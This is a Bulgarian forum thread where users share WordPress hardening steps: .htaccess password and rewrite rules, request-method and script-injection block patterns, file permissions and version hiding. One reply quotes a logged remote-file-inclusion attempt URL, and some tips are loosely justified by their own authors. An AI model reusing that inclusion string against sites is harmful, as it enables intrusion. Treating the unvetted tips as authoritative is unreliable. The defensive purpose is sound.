SearchEngines.bg

Това е примерно съобщение за гост. Регистрирайте безплатен акаунт днес, за да станете потребител на SearchEngines.bg! След като влезете, ще можете да участвате в този сайт, като добавите свои собствени теми и публикации, както и да се свържете с други членове чрез вашата лична входяща кутия! Благодарим ви!

Да стегнем малко горкия, беззащитен Wordpress :)

scoobydoo

Know you can!
Здравейте.

Напоследък всяка втора тема е за хакнат Wordpress и за това реших да въведа малко промени по моите WP-базирани сайтове. Вече си избрах самите промени и ги имплементирах (ммм йеа, любимата ми дума от университета :D) в един сайт. Тъй като си ги записах в един файл за по-нататъшно ползване, реших да взема да ги споделя и тук за публично ползване (тъй като не поддържам блог на такава тематика в момента :)).

Държа да отбележа, че аз не съм измислил нито един от методите, а съвсем нагло съм ги взел от разнообразни източници в интернет пространството. Също не разбирам много от някои от нещата по-долу, така че ако случайно има нещо, което смятате, че трябва да бъде поправено или подобрено, пишете :).

Та ето какво може да направите:
1. През cPanel-а можете да добавите .htaccess парола на вашата wp-admin папка. Ако случайно имате плъгини, които при това положение няма да работят правилно и ще изискват достъп на потребителите, то изтеглете файла, който се създаде и заобиколете реда
Код:
Require valid-user
по следния начин:
Код:
<Limit POST>
Require valid-user
</Limit>
и запазете промените и го качете (ако не се лъжа, Cloxy ме научи на това последното, така че благодаря ). След това просто като влезете в админ панела ще си въведете паролата и юсера и ще накарате браузъра да ги помни, че да не ги пишете вече. Само ще цъквате ОК.

Ако получавате 404 грешка при влизане в админ панела, то добавете в началото на .htaccess файла следния ред:
Код:
ErrorDocument 401 default

2. Така и така сте почнали да ръчкате в този .htaccess файл на папката wp-admin, то можете да добавите и следния код:
Код:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule .* - [F]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://[COLOR="#FF0000"]www.example.com[/COLOR] [NC]
RewriteRule .* - [F]
</IfModule>

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK|DEBUG) [NC]
RewriteRule ^(.*)$ - [F,L]

# Allow wp-admin files that are called by plugins
# Fix for WP Press This
RewriteCond %{REQUEST_URI} (press-this\.php) [NC]
RewriteRule . - [S=1]
Това ще блокира разните му там заявки без юсер агент и рефърър. Тук отново благодаря на Cloxy, той го сподели в друга тема. Червеното трябва да се редактира с вашия сайт. След това има и код, който забранява опасни методи за достъп и след това такъв, който предотвратява проблеми с предния код за някакъв плъгин или нещо такова. Последните два кода ги видях от плъгина BulletProof Security.

3. Добавете следния код във robots.txt на вашия сайт:
Код:
User-Agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-content/plugins
Disallow: /wp-content/cache
Disallow: /wp-content/themes

4. Сега ще добавим малко код в .htaccess файла на главната ви директория на сайта (не на wp-admin, както беше в стъпка 1 и 2)
Код:
Options All -Indexes

<files .htaccess>
order allow,deny
deny from all
</files>

ServerSignature Off

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK|DEBUG) [NC]
RewriteRule ^(.*)$ - [F,L]

# DENY ACCESS TO all file names starting with dot
RedirectMatch 403 /\..*$

<FilesMatch "^(wp-config\.php|php\.ini|php5\.ini|readme\.html)">
Order allow,deny
Deny from all
</FilesMatch>

RewriteEngine On RewriteBase / 
RewriteRule ^wp-admin/includes/ - [F,L] 
RewriteRule !^wp-includes/ - [S=3] 
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] 
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L] 
RewriteRule ^wp-includes/theme-compat/ - [F,L]

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

Това са 8 отделни кода. Първия забранява отварянето на папки без индекс файлове, тоест все едно всички имат индекс файлове. Втория защитава htaccess файла. Третия изключва сигнатурата на сървъра, където се вижда информация полезна за хакерите. Четвъртия забранява методи за достъп ползвани от хакери (за това ще кажа още нещо след малко). Петия защитава сървърните файлове започващи с точка. Шестия защитава някои важни файлове, включително wp-config.php, който е много важен. От втория до шестия ги видях в плъгина BulletProof Security. Седмия защитава файловете, които само се include-ват (от тук: ЦЪК) . Осмия защитава от script injection (от тук: ЦЪК).

Относно забраната на TRACE метода, въпреки че го има в кода за всеки случай, той не може да се спре от htaccess файла и трябва да кажете на хоста си да го спре. Той може и вече да е спрян. За да тествате трябва да направите заявка през telnet сайт, например този. Заявката да е тази отдолу, също попълнете вашия хост долу и в другото поле в сайта също, а порта да е 80:
TRACE / HTTP/1.0
A: b
C: d
Host: example.com
Ако се върне статус 200 OK значи НЕ е забранен метода и трябва да се забрани.

5. Сега махнете от сайта си нещата, които издават версията на вашия Wordpress и това, че е Wordpress (или поне част от тях). Първо добавете този код във functions.php файла на темата:
Код:
remove_action('wp_head', 'wp_generator');
След това премахнете надписа Powered by Wordpress, който обикновено е във footer.php файла на темата ви. И третото нещо е да изтриете readme.html файла от главната директория, защото в него пише версията на Wordpress.

6. Използвайте SFPT вместо FTP. Промяната в повечето случай е много лесна и възможна. На мен ми се наложи само да сменя едно число (порта) в FTP програмата ми и готово. През SFTP данните се криптират и ако бъдат прихванати, ще бъдат нечетими. Вижте примерно за HostGator какво да смените, също за SuperHosting.bg. Ако има проблеми, питайте вашия хостинг доставчик. Това няма да стане на всеки хостинг между другото.

7. Сменете стандартния префикс на таблиците на базата ви данни. По подразбиране е wp_ и така лесно се правят SQL инджекти до колкото разбирам. За да го смените с нещо друго, примерно c25n87_ то вижте тази статия: ЦЪК. Не е трудно, само трябва да редактирате един файл, после да промените няколко неща в phpmyadmin и готово. А в бъдеще като правите нова инсталация просто променяйте префикса още от тогава във wp-config.php файла или там в браузъра като ви пита при инсталацията.

8. Последното е съвет. Всъщност няколко. Не ползвайте други плъгини и теми освен тези в официалната колекция на WP. Или ако го правите нека да са платени и от реномирани сайтове. Също правете бакъп на всичко редовно. И също имайте хубави пароли. Аз винаги ползвам пароли от сорта на nu7dnw8304jd. Четох някъде, че 40% от паролите, които се ползват, могат да бъдат налучкани от програма. Дори и да си мислите, че е много умна, примерно някаква подредба по клавиатурата, то знайте, че може да грешите и лесно да ви бъде позната. Също премахнете плъгините, които не ползвате. Хвърляйте по едно око на google webmaster tools, там казват ако са видяли вирус. Може и да сканирате един път месечно с разни онлайн тулове като: ЦЪК. И също нещо супер важно е да защитите своя компютър с каквото решите, там антивирусни и файърловове. Защото там ако пробият, нататък е лесно.

9. Този код да се добави в .htaccess файла на wp-content/uploads. Той забранява изпълняването на php файлове от там. (Благодаря на Sucuri SiteCheck Malware Scanner за идеята)
Код:
<Files *.php>
deny from all
</Files>

10. Може да се инсталират следните два плъгина, които са много полезни. Първия автоматично засича всяка промяна на файловете ви и дава отчет, така че ако някой вирус промени някакъв файл, вие ще знаете. Всякакви други промени също са видими, за това е добре да се игнорират някои папки, примерно uploads или cache. А с втория можете да сканирате за вируси когато поискате.
WordPress File Monitor Plus (Благодаря на Cloxy за идеята)
Sucuri SiteCheck Malware Scanner (Благодаря на accent за идеята)

11. Сменете правата на някои файлове и папки. Става лесно през ftp програма с десен бутон на файла. Възможно е, но е малко вероятно някои плъгини да искат достъп до wp-config.php файла и да не го получат. Имайте едно на ум за това. (Взето от плъгина BulletProof Security)
.htaccess -> 404 - (бележка: няма да можете да редактирате файла през cPanel-а, например блокиране на IP адреси и т.н.)
wp-config.php -> 400
index.php -> 400
wp-blog-header.php -> 400
главна папка -> 705
wp-admin папка -> 705
wp-includes папка -> 705
wp-content папка -> 705

12. Който не ползва пингбак и тракбак функционалностите може да ги спре от настройките (в дискусия първите две отметки да се махнат дето пише нещо от сорта на да опитва да известява и да получава известия). След като ги спрете добавете тези редове във functions.php файла на темата ви:
Код:
function removeHeadLinks() {
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');
}
add_action('init', 'removeHeadLinks');

Така в head секцията на сайта ви няма да се виждат адресите на файловете през които се правят тези работи. И на края може директно да изтриете файла xmlrpc.php, който е в главната директория (като ъпдейтнете WP може би пак ще трябва да го изтриете).

Също може да се наложи сами да махнете от header.php файла на темата си някои редове. Зависи от темата. На моята примерно изчезнаха само първите два с този код отгоре, но другия ръчно го махнах. Става дума за редове подобни на тези:
Код:
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://xxxxxxxx.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://xxxxxxxxxx.com/wp-includes/wlwmanifest.xml" /> 
<link rel="pingback" href="http://xxxxxxxxxxxxxx.com/xmlrpc.php" />

Източник на кода и повече за самия файл тук: ЦЪК

13. Уверете се, че във wp-config.php файла ви го има този ред: define('WP_DEBUG', false); Стойността трябва да е false за да не се изписват грешки, които ще разкрият полезна за хакерите информация.

14. Изтрийте темите, които не използвате. По този начин техните дупки в сигурността няма да могат да бъдат използвани. Например много хора оставят стандартните теми въпреки че са си активирали друга тема.
 
Последно редактирано:
Re: Да стегнем малко горкия, беззащитен Wordpress :)

+10 за добрата статия.

За мен WordPress вече е мъртъв. Съвсем скоро положението ще стане безнадеждно и хората ще се принудят да сменят CMS-а. Щом днес на мен ми хакнаха няколко такива, които си мислих, че съм защитил, значи дупките в тази система са много повече от очакваните.

Лично мнение. А аз се захващам да си разкарам и последните 4 останали WordPress-а, за да спя спокойно.
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Само още две неща да кажа. За стъпка 5 можете да ползвате този код във functions.php файла на темата, а не да редактирате general-template.php както казах.
Код:
remove_action('wp_head', 'wp_generator');

И да добавя още един код за главния .htaccess файл. Този защитава от script injection:
Код:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

Източник: ЦЪК
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

@cloxy
Хмм, значи няма спасение викаш :(. Ами защо не оправят дупките, които са известни? Толкова ли е трудно?
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

scoobydoo каза:
....като първия забранява отварянето на папки без индекс файлове
Тази забрана става само с вмъкване на -Indexes поставено в реда
RewriteEngine On

Не ми е ясно как точка 3 ще предпази ВП. Ако е до забрана за индексиране, по-добре да се сложи noindex, (no)follow в X-headers.
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Тази забрана става само с вмъкване на -Indexes поставено в реда
RewriteEngine On

Не ми е ясно как точка 3 ще предпази ВП. Ако е до забрана за индексиране, по-добре да се сложи noindex, (no)follow в X-headers.

Това грешно ли е?
Options All -Indexes
Виждал съм го на доста места, предимно без All май беше. Ти как казваш да е? Така ли?:
RewriteEngine On -Indexes

А за 3-та точка, виждал съм го пак на няколко места да го препоръчват. Мисля, че целта е да не се индексират от търсачките разни неща, които евентуално ще разкрият някаква информация. И аз не знам точно защо.
 
За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

+10 за добрата статия.

За мен WordPress вече е мъртъв. Съвсем скоро положението ще стане безнадеждно и хората ще се принудят да сменят CMS-а. Щом днес на мен ми хакнаха няколко такива, които си мислих, че съм защитил, значи дупките в тази система са много повече от очакваните.

Лично мнение. А аз се захващам да си разкарам и последните 4 останали WordPress-а, за да спя спокойно.

С какво мислиш да замениш wordpress?
Коя CMS според теб е надеждна
 
Re: За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

Re: За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

С какво мислиш да замениш wordpress?
Коя CMS според теб е надеждна

По-надеждно от custom програмирането няма ;)
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Благодаря на scoobydoo, cloxy и всички източници цитирани в темата. Много полезен ресурс! Някой има ли впечатления дали след защита подобна на тази направена на много сайтове все пак са успели да му хакнат някой от сайтовете?

Тоест, ако го направя на сайтовете ми ще мога ли да спя спокойно?
 
Последно редактирано:
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Pepi, няма перфектна защита :). Въпроса е да намалим шансовете за разни произволни вируси и ботове, тоест да орежем една част от тях. А пък за насочени атаки срещу теб лично, просто ще е по-трудно, но няма да е невъзможно. А това дето питаш, не мисля, че някой може да ти каже след като е приложил точно тези неща дали са го хаквали. Въпреки че Cloxy сигурно е имал и повече неща от тия и вика пак са го хакнали :).
Прави бакъпи и спи спокойно. Ако дойде проблем, ще се заемеш и тогава ще видиш вече какво точно ще трябва да предприемеш допълнително. И не забравяй, че всеки проблем е тук да ти помогне. В него има полза, дали ще я извлечеш обаче зависи от теб.
 
Re: Да стегнем малко горкия, беззащитен Wordpress :)

Засега не са ми хакнали нито един уърдпрес, след забрана в .htaccess до папката админ, от друго IP освен моето . Въпреки, че това налага някои ограничения на по-мобилните уебмастъри, мисля че това е най-доброто решение.
 
Re: Да стегнем малко горкия, беззащитен Wordpress :)

За мен WordPress вече е мъртъв. Съвсем скоро положението ще стане безнадеждно и хората ще се принудят да сменят CMS-а.

А към коя CMS да се насочим тогава?:)
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Не е ли по-простичко да се инсталира разширението "Secure WordPress"?
 
Re: Да стегнем малко горкия, беззащитен Wordpress :)

Аз не съм много съгласен с твърдението, че къстъма е по-сигурен. За малък сайт може би, но не и за по-сериозни проекти.
За мен не е възможно екип от хора (десетина да речем) да направят и защитят нещо толкова добре, колкото комюнити от десетки хиляди(да не кажа стотици хиляди) потребители, които съобщават за дадени бъгове, дупки и подобни. По-скоро проблемите идват от зле написани допълнителни функционалности за дадената система, които отварят дупки.

Разликата идва от там, че за безплатните CMS, когато излезне експлойт, той се разпространява бързо в определени среди, че достига и до потребители, които не знаят какво точно правят, но повтарят дадени стъпки и пробиват дадена система.
При къстъм система проблеми създават само разбиращи хора, които са решили да направят мръсотия.
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Не е ли по-простичко да се инсталира разширението "Secure WordPress"?

Не съм запознат с това разширение и не мога да коментирам. Аз за момента не искам да слагам допълнителни разширения. Колкото повече разширения, толкова повече неприятности ;).
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

Не съм запознат с това разширение и не мога да коментирам. Аз за момента не искам да слагам допълнителни разширения. Колкото повече разширения, толкова повече неприятности ;).
Аз ползвам "Secure WordPress" от доста време и досега не съм имал проблеми.
Виждам опити за хакване с външен файл, нещо като (string: /wp-content/themes/моята_тема/_tbs.php?src=http://blogger.com.v2training.com.au/xcyb/xcyb.php), но досега всичките безуспешни.
 
За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

За: Re: Да стегнем малко горкия, беззащитен Wordpress :)

Аз не съм много съгласен с твърдението, че къстъма е по-сигурен. За малък сайт може би, но не и за по-сериозни проекти.
За мен не е възможно екип от хора (десетина да речем) да направят и защитят нещо толкова добре, колкото комюнити от десетки хиляди(да не кажа стотици хиляди) потребители, които съобщават за дадени бъгове, дупки и подобни. По-скоро проблемите идват от зле написани допълнителни функционалности за дадената система, които отварят дупки.

Разликата идва от там, че за безплатните CMS, когато излезне експлойт, той се разпространява бързо в определени среди, че достига и до потребители, които не знаят какво точно правят, но повтарят дадени стъпки и пробиват дадена система.
При къстъм система проблеми създават само разбиращи хора, които са решили да направят мръсотия.

Cloxy имаше друго предвид, като каза, че по-сигурно от custom няма...

Просто custom решението е писано самостоятелно и до сорс кода нямат достъп толкова много хора, че да откриват дупки. Не, че е невъзможно да има дупки в едно custom решение, но просто много по-трудно ще се открият, отколкото да седнеш и да разгледаш как работи кода и да ти дойде на ум, че тука може да се появи проблем при еди-каква си ситуация ;)
 
Re: Да стегнем малко горкия, беззащитен Wordpress :)

Съгласен съм с теб Вирос - написал съм го в последното изречение. Просто при къстъм може да се очакват атаки само от разбиращи от това хора, а не от всеки пъпчив тийн, решил да става "хакер" :D
 
За: Да стегнем малко горкия, беззащитен Wordpress :)

За: Да стегнем малко горкия, беззащитен Wordpress :)

За да напишеш custom защита, трябва да знаеш слабото място, което трябва да се защити, но ако го знаеш, ще го кажеш на Wordpress и те ще го оправят.
Аз от години ползвам защита на админ файла си в Truden Web Site (http://truden.com/admin.php) но това не помага срещу инжекции в ДБ.
Празни индекс файлове крият директориите от любопитни погледи, но не са пречка за хакване.
Трябва защита срещу Bad Queries и за това си има разширения за WorPress.
Ако те не работят, тогава сме обречени, до откриване на дупката и нейното запушване.
 

Горе